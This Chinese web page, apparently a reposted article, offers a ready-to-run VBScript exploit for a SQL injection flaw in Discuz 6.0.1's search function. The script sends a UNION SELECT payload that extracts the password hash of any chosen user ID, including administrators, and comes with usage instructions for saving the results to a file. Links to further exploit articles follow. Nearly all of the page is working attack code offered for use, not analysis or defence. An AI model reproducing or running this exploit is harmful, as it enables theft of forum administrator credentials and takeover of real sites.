discuz获取任意管理员密码漏洞如何利用工具vbs版

我们怀着美好的希望,勇敢的走着,跌倒了再爬起,失败了就再努力,永远相信明天会更好!
以下是search.inc.php 文件漏洞利用代码VBS版

复制代码
代码如下:

Dim strUrl,strSite,strPath,strUid
showB()
Set Args = Wscript.Arguments
If Args.Count <> 3 Then
ShowU()
Else
strSite=Args(0)
strPath=Args(1)
strUid=Args(2)
End If
strUrl="action=search&searchid=22%cf' UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=" & strUid &"/*&do=submit"
Set objXML = CreateObject("Microsoft.XMLHTTP")
objXML.Open "POST",strSite & strPath & "index.php", False
objXML.SetRequestHeader "Accept", "*/*"
objXML.SetRequestHeader "Accept-Language", "zh-cn"
objXML.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
objXML.SetRequestHeader "User-Agent", "wap"
objXML.send(strUrl)
wscript.echo(objXML.ResponseText)
Sub showB()
With Wscript
.Echo("+--------------------------=====================------------------------------+")
.Echo("Exploit discuz6.0.1")
.Echo("Code By Safe3")
.Echo("+--------------------------=====================------------------------------+")
End with
End Sub
Sub showU()
With Wscript
.Echo("+--------------------------=====================------------------------------+")
.Echo("用法:")
.Echo(" cscript "&.ScriptName&" site path uid")
.Echo("例子:")
.Echo(" cscript "&.ScriptName&" http://www.example.com/ /forum/ 1 >result.txt")
.Echo("+--------------------------=====================------------------------------+")
.Quit
End with
End Sub
 
获得的密码大家自己在result.txt中查找

以上就是discuz获取任意管理员密码漏洞如何利用工具vbs版。套用别人的成功模式。别人的成功模式是一种指引,让你有方向可循。更多关于discuz获取任意管理员密码漏洞如何利用工具vbs版请关注haodaima.com其它相关文章!

您可能有感兴趣的文章
DISCUZ X1.5 本地文件包含漏洞说明

如何利用XSS渗透DISCUZ 6.1.0实战

Discuz! wap功能模块编码的注射漏洞

discuz!7.1、7.2 远程代码执行漏洞exp

2019最新RDP远程桌面漏洞官方补丁(针对win2003、win2008)